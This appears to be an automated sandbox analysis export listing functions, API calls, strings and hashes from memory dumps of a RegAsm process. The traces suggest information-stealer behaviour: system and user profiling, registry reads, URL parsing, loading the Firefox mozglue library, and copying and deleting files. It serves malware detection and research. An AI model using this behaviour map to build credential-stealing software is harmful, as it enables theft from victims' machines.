Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$CurrentProfile_memsetlstrcpymallocstrncpy
String ID: Unknown
API String ID: 2781187439-1654365787
Opcode ID: 40940802265a4c3fb3d17f66f3aebd6262146aecc76f5541b5b5cbee53a0a034
Instruction ID: 38687d82805313cec56707417503c3a8b15a6b782f41cbda205fc1cb98a2a4ce
Opcode Fuzzy Hash: 40940802265a4c3fb3d17f66f3aebd6262146aecc76f5541b5b5cbee53a0a034
Instruction Fuzzy Hash: D7118671A00118ABCB21EB65DD86FDD73B8AB08304F4004A6B645F7191DAB8AFC88F58

Function 00411119 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,Keyboard Languages: ,00436908,Display Resolution: ,004368EC,00000000,User Name: ,004368DC,00000000,Computer Name: ,004368C8,AV: ,004368BC,Install Date: ), ref: 00411131
HeapAlloc.KERNEL32(00000000), ref: 00411138
GlobalMemoryStatusEx.KERNEL32(?,?,00000040), ref: 00411154
wsprintfA.USER32 ref: 0041117A

Strings

%d MB, xrefs: 00411174

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocGlobalMemoryProcessStatuswsprintf
String ID: %d MB
API String ID: 3644086013-2651807785
Opcode ID: 340342b6390d2646d15e4b4ae051aaa258ec2fff34d5e99288e24d8d28d8adba
Instruction ID: e7d6c9dceb0403f0db7cb32a278f6c02741a37abefeaae954b3d249c6c8c6462
Opcode Fuzzy Hash: 340342b6390d2646d15e4b4ae051aaa258ec2fff34d5e99288e24d8d28d8adba
Instruction Fuzzy Hash: 7C01A9B1B00218ABEB08DFB4DC45EEEB7B9EF04705F04006AF602D7290EA75DD818768

Function 00410B30 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 40memoryregistryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,?,00413E5E,Windows: ,00436898), ref: 00410B44
HeapAlloc.KERNEL32(00000000,?,?,?,00413E5E,Windows: ,00436898), ref: 00410B4B
RegOpenKeyExA.KERNEL32(80000002,00000000,00020119,00436880,?,?,?,00413E5E,Windows: ,00436898), ref: 00410B79
RegQueryValueExA.KERNEL32(00436880,00000000,00000000,00000000,000000FF,?,?,?,00413E5E,Windows: ,00436898), ref: 00410B95

Strings

Windows 11, xrefs: 00410B5C

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocOpenProcessQueryValue
String ID: Windows 11
API String ID: 3676486918-2517555085
Opcode ID: 4545b6f9ea731a0c1759ce425353279a5d3fc895200c98c2723426e5a34f4371
Instruction ID: 1e6bebd888205e227a078e3b4776643881ee4e868955a6116475d087f2d36f09
Opcode Fuzzy Hash: 4545b6f9ea731a0c1759ce425353279a5d3fc895200c98c2723426e5a34f4371
Instruction Fuzzy Hash: 88F04475600304FBEF149B91DC4AFAB7A6AEB4470AF1410A5F60195190E7B6AA909714

Function 00410BA9 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 36memoryregistryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,?,00410C1B,00410B58,?,?,?,00413E5E,Windows: ,00436898), ref: 00410BBD
HeapAlloc.KERNEL32(00000000,?,?,?,00410C1B,00410B58,?,?,?,00413E5E,Windows: ,00436898), ref: 00410BC4
RegOpenKeyExA.KERNEL32(80000002,00000000,00020119,00436880,?,?,?,00410C1B,00410B58,?,?,?,00413E5E,Windows: ,00436898), ref: 00410BE2
RegQueryValueExA.KERNEL32(00436880,CurrentBuildNumber,00000000,00000000,00000000,000000FF,?,?,?,00410C1B,00410B58,?,?,?,00413E5E,Windows: ), ref: 00410BFD

Strings

CurrentBuildNumber, xrefs: 00410BF5

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3676486918-1022791448
Opcode ID: 0ecaf1e48870f0423982b4fee7b384d053053088746a66fbbe4194decca64022
Instruction ID: ea1df8357be30d2e2ef1433f3f6dded84e3a9a7c3001953f4b75ef12d05b9866
Opcode Fuzzy Hash: 0ecaf1e48870f0423982b4fee7b384d053053088746a66fbbe4194decca64022
Instruction Fuzzy Hash: AAF09075640304FBEF159B90DC0AFAF7A7EEB4470AF240055F601A50A0E6B25A909B60

Function 0041BBEB Relevance: 7.6, APIs: 5, Instructions: 99fileCOMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(?,00000000,00000000,00000001,763374F0,?,0041CBB8,?,0041CC46,00000000,06400000,00000003,00000000,00417548,.exe,00436C54), ref: 0041BC38
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,763374F0,?,0041CBB8,?,0041CC46,00000000,06400000,00000003,00000000), ref: 0041BC70

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: File$CreatePointer
String ID:
API String ID: 2024441833-0
Opcode ID: c2a5f8e1d00489231e5594f9a747e25d59c8a13e659a0516d0e6ae57d101117a
Instruction ID: 2c4a5b632096eba48b9afdb5f28c6ccb884a723da07998bce4b3731b3edf96f9
Opcode Fuzzy Hash: c2a5f8e1d00489231e5594f9a747e25d59c8a13e659a0516d0e6ae57d101117a
Instruction Fuzzy Hash: 533167B0504B04AFDB344F25A8C4BA776E8E754358F108A3FF19786640E77898C49BD9

Function 00404AB6 Relevance: 7.6, APIs: 5, Instructions: 50stringnetworkCOMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AE8
??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID:
API String ID: 1274457161-0
Opcode ID: f25c82f9083139f9dc305e99f373a1749f43e790606f1cfdd691ee0f4a79a4b6
Instruction ID: f1c5382da97c9dd65e4db87c3c806c9c9b4e03b01775002e3606c6f6cd357758
Opcode Fuzzy Hash: f25c82f9083139f9dc305e99f373a1749f43e790606f1cfdd691ee0f4a79a4b6
Instruction Fuzzy Hash: E9011B72D00218ABDF149BA9DC45ADEBFB8AF55330F10821AF925F72E0DB745A058B94

Function 004083D9 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 87libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNELBASE(C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF,?,?,?,?,?,?,?,?,?,?,0040DB0A), ref: 004083F2

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,00417044,004366C7,?,?,?,?,00418558), ref: 0041050D

Part of subcall function 00410549: lstrlenA.KERNEL32(?,?,0041713D,004366CF,004366CE,?,?,?,?,00418558), ref: 0041054F
Part of subcall function 00410549: lstrcpyA.KERNEL32(00000000,00000000,?,0041713D,004366CF,004366CE,?,?,?,?,00418558), ref: 00410581

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410650

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175B2,004366D6), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417083,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 004105BD

SetEnvironmentVariableA.KERNEL32(?,0043718C,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,004367BF,?,?,?,?,?,?,?,?,0040DB0A), ref: 00408447
LoadLibraryA.KERNEL32(?,?,?,?,?,?,?,?,0040DB0A), ref: 0040845B

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 004083E6, 004083EB, 00408405

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-4027016359
Opcode ID: 92cb3870f75b6ba644ebc7bc9013fe72411ca387304fe8484cf0489906a39471
Instruction ID: 0039211fd2448c0fac8a842e95ae9d76d322b7101a4597bf36c3d7dff0329066
Opcode Fuzzy Hash: 92cb3870f75b6ba644ebc7bc9013fe72411ca387304fe8484cf0489906a39471
Instruction Fuzzy Hash: D3315C71940714ABCF16EF6AED0245D7BA2AB48706F10607BF440B72B0DB7A1A81CF89

Function 00416E60 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70sleepsynchronizationthreadCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000003E8,?,?), ref: 00416EC7
CreateThread.KERNEL32(00000000,00000000,00416D8F,?,00000000,00000000), ref: 00416EFF
WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00416F07

Strings

OEA, xrefs: 00416E82, 00416F2A, 00416EE8

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: CreateObjectSingleSleepThreadWait
String ID: OEA
API String ID: 4198075804-139647401
Opcode ID: 8ffc16897376bbbcd1538edfdffe52226d284d3c3260bc63b219538ddb0ee355
Instruction ID: 3ab628f0377ae1a89a71dd898b99247a1a09803538ed89c7df67326ae102d4be
Opcode Fuzzy Hash: 8ffc16897376bbbcd1538edfdffe52226d284d3c3260bc63b219538ddb0ee355
Instruction Fuzzy Hash: 89215532900218ABCF10EF96E8459DE7BB9FF40318F11412BF904A3150D738EA8ACFA4

Function 00416D8F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 55stringCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 00416D96
lstrlenA.KERNEL32(?,0000001C), ref: 00416DA1
StrCmpCA.SHLWAPI(?,ERROR), ref: 00416E25

Strings

ERROR, xrefs: 00416E1D

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prolog3_catchlstrlen
String ID: ERROR
API String ID: 591506033-2861137601
Opcode ID: 1c1caafaf30d7a7d706106c7d93cdd3e980ec53aa5b1dd7ff5b2dd108d700164
Instruction ID: 7e0f82cd00d670f6d3ed87bc16be55dacf2690d9f5db18fbe83db9146c1ce7a1
Opcode Fuzzy Hash: 1c1caafaf30d7a7d706106c7d93cdd3e980ec53aa5b1dd7ff5b2dd108d700164
Instruction Fuzzy Hash: 4D118171900509AFCB40FF75D9025DDBBB1BF04318B90413AE814E3591D739EAA99FC9

Function 00412446 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 41fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,?,?,?,00414A56), ref: 00412460
WriteFile.KERNEL32(00000000,00000000,?,VJA,00000000,?,?,?,00414A56), ref: 00412487
CloseHandle.KERNEL32(00000000,?,?,?,00414A56), ref: 0041249E

Strings

VJA, xrefs: 0041247C, 0041247F

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleWrite
String ID: VJA
API String ID: 1065093856-2621267353
Opcode ID: 618600667c8334e05266c7920bfcba6b014638909509334c775888355d968c7c
Instruction ID: a587d297adf89e60fa6946fdd7da6f666782c0f167f87b21f29bcfda1cd19bad
Opcode Fuzzy Hash: 618600667c8334e05266c7920bfcba6b014638909509334c775888355d968c7c
Instruction Fuzzy Hash: 84F02471200118BFEF01AFA4DD8AFEF379CDF053A8F000022F951D6190D3A58D9157A5

Function 6C093060 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 36timeCOMMON

Download Yara Rule

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C093095

Part of subcall function 6C0935A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C11F688,00001000), ref: 6C0935D5
Part of subcall function 6C0935A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C0935E0
Part of subcall function 6C0935A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C0935FD
Part of subcall function 6C0935A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C09363F
Part of subcall function 6C0935A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C09369F
Part of subcall function 6C0935A0: __aulldiv.LIBCMT ref: 6C0936E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C09309F

Part of subcall function 6C0B5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C0B56EE,?,00000001), ref: 6C0B5B85
Part of subcall function 6C0B5B50: EnterCriticalSection.KERNEL32(6C11F688,?,?,?,6C0B56EE,?,00000001), ref: 6C0B5B90
Part of subcall function 6C0B5B50: LeaveCriticalSection.KERNEL32(6C11F688,?,?,?,6C0B56EE,?,00000001), ref: 6C0B5BD8
Part of subcall function 6C0B5B50: GetTickCount64.KERNEL32 ref: 6C0B5BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C0930BE

Part of subcall function 6C0930F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C093127
Part of subcall function 6C0930F0: __aulldiv.LIBCMT ref: 6C093140

Part of subcall function 6C0CAB2A: __onexit.LIBCMT ref: 6C0CAB30

Strings

GRy/, xrefs: 6C09306A

Memory Dump Source

Source File: 00000003.00000002.3333512604.000000006C091000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C090000, based on PE: true

Associated: 00000003.00000002.3328603357.000000006C090000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3338315622.000000006C10D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3339981114.000000006C11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3341297333.000000006C122000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c090000_RegAsm.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID: GRy/
API String ID: 4291168024-1469579577
Opcode ID: a8f61f19ce74e43f84a6c7e52d2e1dd53994cde777005441642c05047c0039e2
Instruction ID: 40735fa9ae99a28f516fe09b0088f4b4166cc5ea760e7e951287da9fa2e08dd8
Opcode Fuzzy Hash: a8f61f19ce74e43f84a6c7e52d2e1dd53994cde777005441642c05047c0039e2
Instruction Fuzzy Hash: E3F0F422E2474897CA10DF7489423EAB3B4EF6F214F101319E86C63A21FB3472D9D382

Function 0040B332 Relevance: 6.2, APIs: 4, Instructions: 196filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,00417044,004366C7,?,?,?,?,00418558), ref: 0041050D

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,004366FB,?), ref: 00411C79

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410650

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175B2,004366D6), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417083,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 004105BD

CopyFileA.KERNEL32(?,?,00000001,0043740C,00436817,?,?,?), ref: 0040B3D7
lstrlenA.KERNEL32(?), ref: 0040B529
lstrlenA.KERNEL32(?), ref: 0040B544
DeleteFileA.KERNEL32(?), ref: 0040B596

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 459cd9c668c9d3dac047d98457e967798d1d03a946412a2b16b812ce937afc69
